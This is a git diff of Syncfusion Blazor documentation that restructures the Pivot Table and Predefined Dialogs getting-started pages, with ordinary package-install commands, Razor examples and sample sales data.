-* [Name](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotFieldOptions.html#Syncfusion_Blazor_PivotView_PivotFieldOptions_Name): Sets the field name from the bound data source. The casing must match exactly as it appears in the data source, otherwise the Pivot Table will not render correctly.
-* [Caption](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotFieldOptions.html#Syncfusion_Blazor_PivotView_PivotFieldOptions_Caption): Sets the field caption, which serves as the display name for the field in the Pivot Table.
-* [Type](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotFieldOptions.html#Syncfusion_Blazor_PivotView_PivotFieldOptions_Type): Sets the summary type for the field. By default, the [SummaryTypes.Sum](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.SummaryTypes.html#Syncfusion_Blazor_PivotView_SummaryTypes_Sum) aggregation is applied.
-
-{% tabs %}
-{% highlight razor %}
-
-@page "/"
-
-<SfPivotView TValue="ProductDetails" Height="300">
-     <PivotViewDataSourceSettings DataSource="@dataSource">
-        <PivotViewColumns>
-            <PivotViewColumn Name="Year"></PivotViewColumn>
-            <PivotViewColumn Name="Quarter"></PivotViewColumn>
-        </PivotViewColumns>
-        <PivotViewRows>
-            <PivotViewRow Name="Country"></PivotViewRow>
-            <PivotViewRow Name="Products"></PivotViewRow>
-        </PivotViewRows>
-        <PivotViewValues>
-            <PivotViewValue Name="Sold" Caption="Units Sold"></PivotViewValue>
-            <PivotViewValue Name="Amount" Caption="Sold Amount"></PivotViewValue>
-        </PivotViewValues>
-    </PivotViewDataSourceSettings>
-</SfPivotView>
-
-@code{
-    public List<ProductDetails> dataSource { get; set; }
-    protected override void OnInitialized()
-    {
-        this.dataSource = ProductDetails.GetProductData().ToList();
-        //Bind the data source collection here. Refer "Assigning sample data to the pivot table" (https://blazor.syncfusion.com/documentation/pivot-table/getting-started#assigning-sample-data-to-the-blazor-pivot-table) section for more details.
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+....
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
 
-## Applying formatting to a value field
+```
 
-Formatting enhances the readability and presentation of numerical data in a Pivot Table, making it more user-friendly and professional. For example, you can display values with currency symbols or adjust the number of decimal places for greater clarity.
+N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in the Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
-To apply formatting to value fields in a Pivot Table, use the [PivotViewFormatSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewDataSourceSettings-1.html#Syncfusion_Blazor_PivotView_PivotViewDataSourceSettings_1_FormatSettings) class. This class accepts a list of [PivotViewFormatSetting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewFormatSetting.html) objects, each defining formatting rules for a specific field in your data.
+## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Pivot Table component
 
-Within each [PivotViewFormatSetting](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewFormatSetting.html) object, set the [Name](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotFormatSetting.html#Syncfusion_Blazor_PivotView_PivotFormatSetting_Name) property to match the exact field name from your value section. Then, specify the desired display format using the [Format](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotFormatSetting.html#Syncfusion_Blazor_PivotView_PivotFormatSetting_Format) property. In the example below, the **Amount** field is configured to display values in currency format using the "C" pattern, which includes currency symbols.
+Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Pivot Table component in the **~/Pages/Index.razor** file.
 
-N> Formatting can only be applied to numeric fields in the value section of the Pivot Table.
+Use the [SfPivotView](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.SfPivotView-1.html) component with the specified data type.
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
-@page "/"
+@using Syncfusion.Blazor.PivotView
 
 <SfPivotView TValue="ProductDetails" Height="300">
-     <PivotViewDataSourceSettings DataSource="@dataSource">
-        <PivotViewColumns>
-            <PivotViewColumn Name="Year"></PivotViewColumn>
-            <PivotViewColumn Name="Quarter"></PivotViewColumn>
-        </PivotViewColumns>
-        <PivotViewRows>
-            <PivotViewRow Name="Country"></PivotViewRow>
-            <PivotViewRow Name="Products"></PivotViewRow>
-        </PivotViewRows>
-        <PivotViewValues>
-            <PivotViewValue Name="Sold" Caption="Units Sold"></PivotViewValue>
-            <PivotViewValue Name="Amount" Caption="Sold Amount"></PivotViewValue>
-        </PivotViewValues>
-        <PivotViewFormatSettings>
-            <PivotViewFormatSetting Name="Amount" Format="C"></PivotViewFormatSetting>
-        </PivotViewFormatSettings>
-    </PivotViewDataSourceSettings>
-</SfPivotView>
-
-@code{
-    public List<ProductDetails> dataSource { get; set; }
-    protected override void OnInitialized()
-    {
-        this.dataSource = ProductDetails.GetProductData().ToList();
-        //Bind the data source collection here. Refer "Assigning sample data to the pivot table" (https://blazor.syncfusion.com/documentation/pivot-table/getting-started#assigning-sample-data-to-the-blazor-pivot-table) section for more details.
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Pivot Table component in your default web browser like  below.
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LDhSNEZeilHoDpvq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor PivotTable with Formatting](images/blazor-pivottable-formatting.webp)" %}
-
-## Enable Field List
-
-The field list enhances user interaction by allowing you to dynamically add, remove, and rearrange fields across different axes, including column, row, value, and filter axes. This user-friendly interface also provides sorting and filtering options that can be applied at runtime without requiring code changes.
-
-To enable the field list, set the [ShowFieldList](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.SfPivotView-1.html#Syncfusion_Blazor_PivotView_SfPivotView_1_ShowFieldList) property in the [SfPivotView](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.SfPivotView-1.html) class to **true**. This activates the field list interface, making it accessible to users to modify Pivot Table report settings. For comprehensive details about field list functionality, [refer](./field-list) to the dedicated field list documentation.
-
-{% tabs %}
-{% highlight razor %}
-
-@page "/"
-
-<SfPivotView TValue="ProductDetails" ShowFieldList="true" Height="300">
-     <PivotViewDataSourceSettings DataSource="@dataSource">
+    <PivotViewDataSourceSettings DataSource="@dataSource">
         <PivotViewColumns>
             <PivotViewColumn Name="Year"></PivotViewColumn>
             <PivotViewColumn Name="Quarter"></PivotViewColumn>
@@ -465,163 +195,48 @@ To enable the field list, set the [ShowFieldList](https://help.syncfusion.com/cr
     protected override void OnInitialized()
     {
         this.dataSource = ProductDetails.GetProductData().ToList();
-        //Bind the data source collection here. Refer "Assigning sample data to the pivot table" (https://blazor.syncfusion.com/documentation/pivot-table/getting-started#assigning-sample-data-to-the-blazor-pivot-table) section for more details.
     }
 }
 
 {% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BZrotEtSCvFxdyJy?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor PivotTable with FieldList Icon](images/blazor-pivottable-fieldlist-icon.webp)" %}
-
-## Enable Grouping Bar
-
-The grouping bar allows users to easily manage and modify the report settings of the Pivot Table directly through the user interface. With the grouping bar, users can instantly move fields between columns, rows, values, and filters by dragging them, allowing for quick arrangement and analysis of the data.
-
-Users can also use the grouping bar to sort, filter, or remove fields quickly without needing to write any code. To enable the grouping bar, set the [ShowGroupingBar](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.SfPivotView-1.html#Syncfusion_Blazor_PivotView_SfPivotView_1_ShowGroupingBar) property in the [SfPivotView](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.SfPivotView-1.html) class to **true**. For more details about using the grouping bar, see the [Grouping Bar documentation](./grouping-bar).
-
-{% tabs %}
-{% highlight razor %}
-
-@page "/"
-
-<SfPivotView TValue="ProductDetails" ShowGroupingBar="true" Height="300">
-     <PivotViewDataSourceSettings DataSource="@dataSource">
-        <PivotViewColumns>
-            <PivotViewColumn Name="Year"></PivotViewColumn>
-            <PivotViewColumn Name="Quarter"></PivotViewColumn>
-        </PivotViewColumns>
-        <PivotViewRows>
-            <PivotViewRow Name="Country"></PivotViewRow>
-            <PivotViewRow Name="Products"></PivotViewRow>
-        </PivotViewRows>
-        <PivotViewValues>
-            <PivotViewValue Name="Sold" Caption="Units Sold"></PivotViewValue>
-            <PivotViewValue Name="Amount" Caption="Sold Amount"></PivotViewValue>
-        </PivotViewValues>
-        <PivotViewFormatSettings>
-            <PivotViewFormatSetting Name="Amount" Format="C"></PivotViewFormatSetting>
-        </PivotViewFormatSettings>
-    </PivotViewDataSourceSettings>
-</SfPivotView>
-
-@code{
-    public List<ProductDetails> dataSource { get; set; }
-    protected override void OnInitialized()
+{% highlight c# tabtitle="ProductDetails.cs" %}
+
+public class ProductDetails
+{
+    public int Sold { get; set; }
+    public double Amount { get; set; }
+    public string Country { get; set; }
+    public string Products { get; set; }
+    public string Year { get; set; }
+    public string Quarter { get; set; }
+
+    public static List<ProductDetails> GetProductData()
     {
-        this.dataSource = ProductDetails.GetProductData().ToList();
-        //Bind the data source collection here. Refer "Assigning sample data to the pivot table" (https://blazor.syncfusion.com/documentation/pivot-table/getting-started#assigning-sample-data-to-the-blazor-pivot-table) section for more details.
+        List<ProductDetails> productData = new List<ProductDetails>();
+        productData.Add(new ProductDetails { Sold = 31, Amount = 52824, Country = "France", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q1" });
+        productData.Add(new ProductDetails { Sold = 51, Amount = 86904, Country = "France", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q2" });
+        productData.Add(new ProductDetails { Sold = 90, Amount = 153360, Country = "France", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q3" });
+        productData.Add(new ProductDetails { Sold = 25, Amount = 42600, Country = "France", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q4" });
+        productData.Add(new ProductDetails { Sold = 16, Amount = 27264, Country = "France", Products = "Mountain Bikes", Year = "FY 2025", Quarter = "Q1" });
+        productData.Add(new ProductDetails { Sold = 83, Amount = 124422, Country = "France", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q1" });
+        productData.Add(new ProductDetails { Sold = 51, Amount = 92824, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q1" });
+        productData.Add(new ProductDetails { Sold = 97, Amount = 86008, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q1" });
+        productData.Add(new ProductDetails { Sold = 15, Amount = 137800, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q1" });
+        productData.Add(new ProductDetails { Sold = 96, Amount = 77264, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2025", Quarter = "Q1" });
+        productData.Add(new ProductDetails { Sold = 23, Amount = 24422, Country = "Germany", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q1" });
+        productData.Add(new ProductDetails { Sold = 85, Amount = 237800, Country = "United States", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q1" });
+        productData.Add(new ProductDetails { Sold = 76, Amount = 97264, Country = "United States", Products = "Mountain Bikes", Year = "FY 2025", Quarter = "Q1" });
+        productData.Add(new ProductDetails { Sold = 53, Amount = 94422, Country = "United States", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q1" });
+        return productData;
     }
 }
 
 {% endhighlight %}
 {% endtabs %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rtroXkDehXUHMfdh?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor PivotTable with Grouping Bar](images/blazor-pivottable-grouping-bar.webp)" %}
-
-## Exploring Filter Axis
-
-The filter axis lets you show only the data you need in the Blazor Pivot Table, making analysis simpler. You can add fields to the filter axis to control what data appears in the [PivotViewRows](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewRow.html), [PivotViewColumns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewColumn.html), and [PivotViewValues](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewValue.html) axes. You can set up these fields in two ways: by adding them to the [PivotViewFilters](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewFilter.html) collection in your code, or by dragging and dropping fields from other axes to the filter axis using the grouping bar or field list during runtime. This helps you focus on specific data without changing the Pivot Table’s structure.
-
-The following example shows how to add a field to the filter axis in a Blazor Pivot Table:
-
-{% tabs %}
-{% highlight razor %}
-
-@page "/"
-
-<SfPivotView TValue="ProductDetails" ShowGroupingBar="true" ShowFieldList="true" Height="300">
-     <PivotViewDataSourceSettings DataSource="@dataSource">
-        <PivotViewColumns>
-            <PivotViewColumn Name="Year"></PivotViewColumn>
-            <PivotViewColumn Name="Quarter"></PivotViewColumn>
-        </PivotViewColumns>
-        <PivotViewRows>
-            <PivotViewRow Name="Products"></PivotViewRow>
-        </PivotViewRows>
-        <PivotViewFilters>
-            <PivotViewFilter Name="Country"></PivotViewFilter>
-        </PivotViewFilters>
-        <PivotViewValues>
-            <PivotViewValue Name="Sold" Caption="Units Sold"></PivotViewValue>
-            <PivotViewValue Name="Amount" Caption="Sold Amount"></PivotViewValue>
-        </PivotViewValues>
-        <PivotViewFormatSettings>
-            <PivotViewFormatSetting Name="Amount" Format="C"></PivotViewFormatSetting>
-        </PivotViewFormatSettings>
-    </PivotViewDataSourceSettings>
-</SfPivotView>
-
-@code{
-    public List<ProductDetails> dataSource { get; set; }
-    protected override void OnInitialized()
-    {
-        this.dataSource = ProductDetails.GetProductData().ToList();
-        //Bind the data source collection here. Refer "Assigning sample data to the pivot table" (https://blazor.syncfusion.com/documentation/pivot-table/getting-started#assigning-sample-data-to-the-blazor-pivot-table) section for more details.
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rDroXajSVMDijPfd?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor PivotTable with Formatting](images/blazor-pivottable-format.webp)" %}
-
-## Calculated Field
-
-The calculated field feature enables users to create custom value fields using mathematical formulas and existing fields from their data source. Users can perform complex calculations with basic arithmetic operators and seamlessly integrate these custom fields into their Pivot Table for enhanced data visualization and reporting.
-
-Users can add calculated fields in two ways:
-- **Using code:** Set up calculated fields through the [PivotViewCalculatedFieldSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewCalculatedFieldSetting.html) class when configuring the Pivot Table.
-- **Using the user interface:** Alternatively, calculated fields can be added at runtime through a built-in dialog by setting the [AllowCalculatedField](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.SfPivotView-1.html#Syncfusion_Blazor_PivotView_SfPivotView_1_AllowCalculatedField) property in the SfPivotView class to **true**. When enabled, a button appears in the Field List UI. Clicking this button opens a dialog that allows users to create, edit, or remove calculated fields at runtime. To learn more about calculated fields, [refer](./calculated-field) here.
-
-N> By default, the calculated fields created through code-behind are only added to the field list and calculated field dialog UI. To display the calculated field in the Pivot Table UI, it must be added to the [PivotViewValues](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewValue.html) class, as shown in the code below. Additionally, calculated fields can only be added to the value axis.
-
-Below is a sample code that shows how to set up calculated fields both through code-behind and using the popup dialog:
-
-{% tabs %}
-{% highlight razor %}
-
-@page "/"
-
-<SfPivotView TValue="ProductDetails" ShowFieldList="true" AllowCalculatedField="true" Height="300">
-     <PivotViewDataSourceSettings DataSource="@dataSource">
-        <PivotViewColumns>
-            <PivotViewColumn Name="Year"></PivotViewColumn>
-            <PivotViewColumn Name="Quarter"></PivotViewColumn>
-        </PivotViewColumns>
-        <PivotViewRows>
-            <PivotViewRow Name="Country"></PivotViewRow>
-            <PivotViewRow Name="Products"></PivotViewRow>
-        </PivotViewRows>
-        <PivotViewValues>
-            <PivotViewValue Name="Sold" Caption="Unit Sold"></PivotViewValue>
-            <PivotViewValue Name="Amount" Caption="Sold Amount"></PivotViewValue>
-            <PivotViewValue Name="Total" Caption="Total Amount"></PivotViewValue>
-        </PivotViewValues>
-        <PivotViewFormatSettings>
-            <PivotViewFormatSetting Name="Amount" Format="C"></PivotViewFormatSetting>
-            <PivotViewFormatSetting Name="Total" Format="C"></PivotViewFormatSetting>
-        </PivotViewFormatSettings>
-        <PivotViewCalculatedFieldSettings>
-            <PivotViewCalculatedFieldSetting Name="Total" Formula="@totalPrice"></PivotViewCalculatedFieldSetting>
-        </PivotViewCalculatedFieldSettings>
-    </PivotViewDataSourceSettings>
-</SfPivotView>
-
-@code{
-    public string totalPrice = "\"" + "Sum(Amount)" + "\"" + "+" + "\"" + "Sum(Sold)" + "\"";
-    public List<ProductDetails> dataSource { get; set; }
-    protected override void OnInitialized()
-    {
-        this.dataSource = ProductDetails.GetProductData().ToList();
-        //Bind the data source collection here. Refer "Assigning sample data to the pivot table" (https://blazor.syncfusion.com/documentation/pivot-table/getting-started#assigning-sample-data-to-the-blazor-pivot-table) section for more details.
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LDhSNEZeilHoDpvq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor PivotTable with Formatting](images/blazor-pivottable-formatting.webp)" %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LXBoXENSVskAdvwR?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor PivotTable with Caluclation Button](images/blazor-pivottable-calculate-button.webp)" %}
+* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Pivot Table component in the default web browser.
 
 ## Handling exceptions
 
@@ -630,9 +245,9 @@ You can handle errors that occur during Pivot Table actions without stopping you
 The following code example shows how to display a server-side error message to the user when a data operation fails:
 
 {% tabs %}
-{% highlight razor %}
+{% highlight razor tabtitle="Index.razor" %}
 
-@page "/"
+@using Syncfusion.Blazor.PivotView
 
 <span class="error">@ErrorDetails</span>
 <SfPivotView TValue="PivotViewData" Width="100%" Height="450" AllowDataCompression="true" EnableVirtualization="true" ShowFieldList="true" ShowGroupingBar="true" MaxNodeLimitInMemberEditor="50">
diff --git a/blazor/predefined-dialogs/getting-started.md b/blazor/predefined-dialogs/getting-started.md
index a5caeaa85e..3629932c0d 100644
--- a/blazor/predefined-dialogs/getting-started.md
+++ b/blazor/predefined-dialogs/getting-started.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Getting Started with Predefined Dialogs in Blazor
 
-This section explains how to include `Blazor Predefined Dialogs` in a Blazor WebAssembly app using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
+This section explains how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Predefined Dialogs](https://blazor.syncfusion.com/demos/predefined-dialogs/default-functionalities?theme=fluent2) in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -23,23 +23,6 @@ This section explains how to include `Blazor Predefined Dialogs` in a Blazor Web
 
 Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
-![Blazor WASM Create Project Template](images/blazor-wasm-app-template.png)
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Popups and Themes NuGet in the App
-
-To add the Blazor predefined dialog component, open the NuGet Package Manager in Visual Studio (Tools → NuGet Package Manager → Manage NuGet Packages for Solution), then search for and install [Syncfusion.Blazor.Popups](https://www.nuget.org/packages/Syncfusion.Blazor.Popups) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/). Alternatively, run the following commands in the Package Manager Console to achieve the same.
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.Popups -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
@@ -52,7 +35,7 @@ N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are availa
 
 Create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=visual-studio-code) documentation.
 
-Alternatively, create a WebAssembly application by using the following command in the integrated terminal(<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+Alternatively, create a WebAssembly application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
 
@@ -65,26 +48,6 @@ cd BlazorApp
 
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Popups and Themes NuGet in the App
-
-* Press <kbd>Ctrl</kbd>+<kbd>`</kbd> to open the integrated terminal in Visual Studio Code.
-* Ensure the terminal is in the project root directory where the `.csproj` file is located.
-* Run the following commands to install the [Syncfusion.Blazor.Popups](https://www.nuget.org/packages/Syncfusion.Blazor.Popups) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages and ensure all dependencies are installed.
-
-{% tabs %}
-
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.Popups -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
-
-{% endhighlight %}
-
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -103,7 +66,7 @@ dotnet --version
 
 ## Create a Blazor WebAssembly App using .NET CLI
 
-Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to [this Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
+Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
 
 {% tabs %}
 {% highlight c# tabtitle=".NET CLI" %}
@@ -114,29 +77,30 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Popups and Themes NuGet in the App
+{% endtabcontent %}
+
+{% endtabcontents %}
+
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.Popups](https://www.nuget.org/packages/Syncfusion.Blazor.Popups/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
 
-To add the **Blazor Predefined Dialog** component to the application, run the following commands in a command prompt (Windows), command shell (Linux), or terminal (macOS) to install the [Syncfusion.Blazor.Popups](https://www.nuget.org/packages/Syncfusion.Blazor.Popups/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages. See [Install and manage packages using the dotnet CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli) for more details.
+Alternatively, run the following commands in the Package Manager Console to achieve the same.
 
 {% tabs %}
-{% highlight c# tabtitle=".NET CLI" %}
+{% highlight C# tabtitle="Package Manager" %}
 
-dotnet add package Syncfusion.Blazor.Popups -Version {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-dotnet restore
+Install-Package Syncfusion.Blazor.Popups -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
-{% endtabcontent %}
+## Add import namespaces
 
-{% endtabcontents %}
-
-## Add Import Namespaces
-
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Popups` namespaces.
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Popups` namespaces.
 
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
@@ -147,22 +111,18 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 {% endhighlight %}
 {% endtabs %}
 
-## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service and Syncfusion<sup style="font-size:70%">&reg;</sup> Dialog Service
+## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service and Dialog service in the **~/Program.cs** file of the Blazor WebAssembly app.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
 
 {% tabs %}
-{% highlight C# tabtitle="~/Program.cs" hl_lines="1 2 7 8" %}
-
-using Syncfusion.Blazor
-using Syncfusion.Blazor.Popups
+{% highlight C# tabtitle="Program.cs" %}
 
-// Add services to the container.
-
-builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
+....
+using Syncfusion.Blazor;
+....
 builder.Services.AddScoped<SfDialogService>();
 builder.Services.AddSyncfusionBlazor();
-await builder.Build().RunAsync();
 ....
 
 {% endhighlight %}
@@ -170,18 +130,21 @@ await builder.Build().RunAsync();
 
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references within the `<head>` section of the **~/index.html** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
 ```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-</head>
+
+<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
+....
+<script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
+
 ```
-N> See [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) to explore different methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in a Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in Blazor application.
 
-## Add Blazor Dialog Provider
